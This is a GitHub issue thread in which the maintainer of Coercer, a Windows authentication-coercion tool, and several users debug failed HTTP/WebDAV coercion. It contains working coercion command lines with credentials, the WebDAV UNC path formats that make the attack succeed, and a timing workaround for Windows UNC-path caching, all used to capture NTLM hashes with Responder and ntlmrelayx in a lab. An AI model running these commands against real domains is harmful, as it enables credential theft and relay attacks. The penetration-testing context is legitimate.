[bug] HTTP Authentications works in ntlmrelay from Coercer in coerce mode, but not detected by Coercer in scan and fuzz modes

[p0dalirius]

HTTP Authentications works in ntlmrelay

ntlmrelay.mp4

but not detected by Coercer in scan and fuzz modes

Follow up on #40 by @jsdhasfedssad

[jsdhasfedssad]

Hi,

I have been testing coercing SMB and HTTP using version 2.2 using version 1.6 as refference to make sure my setup was working. The result for me is that coercing SMB as anonymous and as authenticated works against Responder and ntlmrelayx in both versions. However, coercing HTTP as anonymous and as authenticated does not work in version 2.2 regardless if Responder or ntlmrelayx is used. There is simply no traffic that reaches Responder from the target when coercing. And as before, if I copy the "filename" output from Coercer 2.2 to Windows Explorer on the targeted DC coercing HTTP works against both Responder and ntlmrelayx.

[PedantHTB]

@p0dalirius I can confirm the comment by @jsdhasfedssad . It also does not work on 2.4.

[jsdhasfedssad]

Hi.

Any update on this? I love this tool but as long as this issue is not fixed I am stuck using version 1.6 which for example is missing support for coercing via DCERPC. Coercing HTTP to SMB authentication is central. Attacks on LDAP cannot be performed by coercing SMB to SMB authentication.

Thanks!

[PedantHTB]

@jsdhasfedssad I don't think the tool is being actively maintained. However, check out the "Authentication Coercion" section from NTLM Relay in case you are interested in knowing other methods of authentication coercing.

[p0dalirius]

Hey @PedantHTB, It is maintained, I just don't understand yet the root cause of this for HTTP authentications. I am looking into it today and will try to find a solution. Best regards,

[PedantHTB]

Hello @p0dalirius

My apologies for that, I totally forgot about not posting paid promotions.

Your tool is absolutely amazing. Here is how we talked about it.

Regarding the HTTP NTLM auth problem, we currently say this:

In case this gets fixed, I will happily edit the section.
Again, apologies for the paid promotion, I did not intend it.

[p0dalirius]

Thank you @PedantHTB, I was not able to see the course content.

I am trying to fix it, it bothers me that it does not work. I'll ping you here once this is fixed!

Best regards,

[PedantHTB]

@p0dalirius Could you also please check why these debug messages are being printed in a red font color instead of green? As you see from Responder, hashes are being received. This is only in scan mode; the messages get printed in green in coerce mode.

Once again, thank you for your great tool and hard work. I hope you can figure out the problem.

Best regards 😃

[p0dalirius]

@PedantHTB I do understand why it is not clear I will explain it better in the scan mode.

Scan Mode:
The scan mode listens on your port 445 on your machine, and waits for authentications callbacks. If you listen with Responder or NTLMRelay while using scan mode, you will receive authentications in another tool, and therefore the messages will get printed in red. Try it again in scan mode with only Coercer running, and you will understand better the behavior :)

Coerce mode:
In this mode it will try to coerce authentications to a remote target, and will not listen to check if it works. I have highlighted in green the RPC responses corresponding to cases when it should work.

[p0dalirius]

Trying to fix right now,

Poc Environment

Windows machine:

=> It works if entering a Webdav path in a explorer.exe search bar

Responder:

=> We get what we want

Coercer:

=> No auth is triggered in HTTP by coercer

PetitPotam:

=> No auth is triggered in HTTP by PetitPotam

[p0dalirius]

Time to wireshark

Adding /e to webdav host in PetitPotam made it work

We get expected WebDaV handshakes

The working path format \\WIN-D42ELKBXQBJ@80/e\test\Settings.ini, is not the format I used in

Coercer/coercer/methods/MS_EFSR/EfsRpcDecryptFileSrv.py

Line 44 in 5017355

("http", '\\\\{{listener}}{{http_listen_port}}/{{rnd(3)}}\\file.txt\x00'),

[p0dalirius]

Coercing to WebDaV using a path with a netbios name:

In coercer:

coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l WIN-206F5YRJM2G --always-continue --filter-pipe-name lsarpc

=> We see HTTP requests outgoing the target machine in wireshark:

And we get hashes in Responder

[p0dalirius]

Coercing to WebDaV using a path to an IP address:

\\192.168.1.27@80/weE\share\file.txt

I used this command line for Coercer

coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc

And PetitPotam and Coercer are consistent, each get a 401 Unauthorized on the WebDaV:

[p0dalirius]

Hey @jsdhasfedssad @PedantHTB,

I have fixed this issue in 83a1fd7 and released version 2.4.3.

Let me know if you encounter further problems,

Best regards,
Remi GASCOU (Podalirius)

[jsdhasfedssad]

Great work! As far as I have tested so far both SMB and HTTP can be coerced now. Thank you!

[PedantHTB]

Thank you very much @p0dalirius for the extremely awesome work. I will test this and update what we have in our section in the module.

Best regards 😄

[p0dalirius]

Thank you @PedantHTB, again sorry for the trouble!

Best regards,

[PedantHTB]

@p0dalirius Please do not be sorry for anything, Sir; your hard work is much appreciated.

By the way, in a previous comment, you stated the following:

"The scan mode listens on your port 445 on your machine, and waits for authentications callbacks. If you listen with Responder or NTLMRelay while using scan mode, you will receive authentications in another tool, and therefore the messages will get printed in red. Try it again in scan mode with only Coercer running, and you will understand better the behavior :)"

I actually tried that before sending you that message, however, to double-check, I went and tried it again; the outcome is the same: the debug messages are still being printed in red:

Am I missing something, or is this unintended? If I do the same with Responder running, I do get hashes coerced due to Coercer (I know so because I only respond to 172.16.117.50, which is WS01$):

[p0dalirius]

Hi @PedantHTB,

I hope you are well!

I understand your problem we were not talking about the same thing. There was a problem on older versions of Coercer where I forgot to check if Coercer is able to listen on the port in scan mode. I added a check in commit 91fbd4d to explicitly print if a port is not available, like what Responder does.

From your screenshots I think that you ran Coercer with a normal user (if you are not root you cannot listen on privileged ports < 1024). Therefore in your case in scan mode, Coercer is trying to listen on privileged ports < 1024 but cannot, and the fix was not yet implemented. This is what causes trouble on your tests I believe.

Would you be so kind as to retry on the latest version of Coercer? (As of right now it is version 2.4.3). You can upgrade it with:

python3 -m pip install coercer --upgrade

---

To sum up:

• scan mode => Needs to be run with a locally privileged user to be able to listen on privileged ports < 1024.
• coerce mode => Can run as any user, no privileges prerequisites.

With the ability to listen on privileged ports, everything should look good!

---

I will update the documentation on the whole project soon, to precise those unclear points.

Best regards,

[PedantHTB]

Oh. I finally get it. My bad, my bad. I will do as you instructed and keep you updated.

By the way, once you update the documentation, I am ready to proofread all of it, if that suits you. Just let me know 😃

[p0dalirius]

Oh that would be awesome, I will keep you updated once the new documentation is up

I will work on the documentation in one or two weeks

[PedantHTB]

@p0dalirius Hello again 👋

So, I downloaded the latest release and started rechecking whatever I had reported previously. Regarding the font color of debug messages, the issue persists, although partially. Before showing you an example, I want to state what I understand from Coercer and its scan mode:

• Debug messages printed in green indicate that Coercer could detect a coerced authentication for the respective RPC method.
• Debug messages printed in a red font indicate that Coercer was not able to detect a coerced authentication for the respective RPC method.

When using the scan mode, the same RPC methods that cause Coercer to print debug messages in red make it print in green for the coerce mode (with sudo). Consider the first six methods of \PIPE\lsarpc; scan mode prints the debug messages in red:

However, coerce mode prints the same debug messages in green (side note, I don't have Responder running):

Although I only showed a very few methods, I think the overall behavior is the same. Curious to know your take on this, and pardon me if I am missing something this time also.

[p0dalirius]

Hello,

I hope you are well!

---

Scan mode

In scan mode everything is printed in red if no authentication was received. Messages are only printed in green when an authentication is received on the listen port 445 (or specified HTTP port) by Coercer in this mode.

Two things are happening here in your test with scan mode:

• You received an authentication (printed in green SMB Auth) with RPRN::RpcRemoteFindFirstPrinterChangeNotification, so coercing your remote machine works and you are able to listen and receive authentications on your local 445 port.

• After that you did not get authentications anymore, this is because of an undocumented behavior that I planned to present later. To sum it up, when the Windows machine tries to access a UNC path but cannot authenticate to it (because the function is forbidden to use UNC paths, because the machine cannot access the network or resolve the name, ...) it stores this path in a cache to not retry to authenticate to the host of this UNC path for 30 seconds. Here is an extract from my (not-yet-public) research:

Demonstration.of.caching.of.UNC.paths.in.RPC.EfsRpcDecryptFileSrv.mp4

• This is why I added an option in Coercer, --delay to wait a certain number of seconds between two calls in order to avoid this caching behavior. If you try again with this option --delay 40, I think you will find the results more accurate.

./Coercer.py coerce -u Administrator -p 'Admin123!' -t 10.0.0.101 -l 10.0.0.5 --always-continue --delay 40

---

Coerce mode

In coerce mode, Messages are printed in green if authentications are probably working. This is because we have no way to find out from the RPC return code if the authentication did work. Therefore I choose to print these messages ERR_BAD_NETPATH in green since they are the one we get in return if the coerced authentication took place. To sum it up:

• When we successfully coerced an authentication, the RPC function returns ERR_BAD_NETPATH
• But having a ERR_BAD_NETPATH does not mean that the coerced authentication did work, unfortunately. We cannot rely on this return code.

I hope it is clearer, but do not hesitate to ping me if there is still some unclear points.

Best regards,